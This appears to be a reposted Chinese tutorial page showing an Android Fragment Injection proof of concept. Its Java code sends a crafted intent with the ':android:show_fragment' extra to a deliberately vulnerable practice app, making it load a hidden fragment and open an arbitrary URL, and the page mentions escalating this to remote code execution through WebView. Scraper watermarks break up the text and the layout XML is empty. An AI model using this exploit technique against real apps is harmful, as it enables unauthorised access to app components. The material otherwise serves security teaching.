首页 > 社交 > 科普中国

关于Android

常驻编辑 科普中国 2022-09-25 漏洞   生命周期   函数   组件   布局   加载   界面   参数   代码   方法

利用Fragment Injection漏洞对TargetFragment攻击,加载任意 Fragment 攻击的EXP,如下:8fJ拜客生活常识网

  • MainActivity.java 代码:
package com.example.testpoc4;

import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.Toast;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        // 获取控件id
        Button button1 = findViewById(R.id.button);
        // 监听点击事件
        button1.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                // 要执行的操作
                Intent intent=new Intent();
                intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
                //包名 包名+类名(全路径)
                intent.setClassName("ddns.android.vuls", "ddns.android.vuls.activities.Activity.FragmentActivity");
                intent.putExtra(":android:show_fragment","ddns.android.vuls.activities.Activity.TargetFragment");
                intent.setData(Uri.parse("https://orangey.blog.csdn.net"));
                startActivity(intent);
                //成功加载任意Fragment攻击后的提示
                Toast.makeText(MainActivity.this,"加载任意Fragment攻击:成功加载Orangey CSDN博客", Toast.LENGTH_SHORT).show();
                Log.d("加载任意Fragment攻击:","成功加载Orangey CSDN博客");
            }
        });
    }
}

  • activity_main.xml 代码:
<?xml version="1.0" encoding="utf-8"?>


    

    

通过Fragment Injection漏洞,TargetFragment已加载恶意URL,如下:8fJ拜客生活常识网

8fJ拜客生活常识网

8fJ拜客生活常识网

:如果Fragment的Webview组件允许webView.addJavascriptInterface漏洞,即可恶意加载恶意JS代码,代表存在远程代码执行漏洞攻击。这个此处就不再演示了,可以前往之前的WebView的文章查看,攻击手法差不多,不再重复讲解8fJ拜客生活常识网

参考链接8fJ拜客生活常识网

https://segmentfault.com/a/11900000399600268fJ拜客生活常识网

https://blog.csdn.net/wuyuxing24/article/details/786986338fJ拜客生活常识网

https://blog.csdn.net/L173864930/article/details/172791658fJ拜客生活常识网

https://blog.csdn.net/syy0201/article/details/1150576338fJ拜客生活常识网

https://mp.weixin.qq.com/s/BPYjCz2wlkGOijb-sUcrQg8fJ拜客生活常识网

https://wooyun.js.org/drops/Fragment Injection漏洞杂谈.html

相关阅读:

  • 不锈钢水槽漏洞怎么补
  • 用卢布买天然气存“漏洞”?企业竟可“绕开”制裁购买俄
  • 经过两个交易日之后,金州勇士目前的阵容名单如何?有什么
  • 对于疫情在极短时间内复现的新情况,要快上加快,堵上漏洞
  • 满是漏洞!电商平台;帮;未成年无限制游戏代充
  • 事以密成!高手表面人畜无害,实则鹰视狼顾
  • 直面问题
  • 什么是CSRF
  • 常见安全漏洞修复方法
  • 储户近200万巨款存入交通银行不翼而飞 人脸识别漏洞成
    • 网站地图 |
    • 声明:登载此文出于传递更多信息之目的,并不意味着赞同其观点或证实其描述。文章内容仅供参考,不做权威认证,如若验证其真实性,请咨询相关权威专业人士。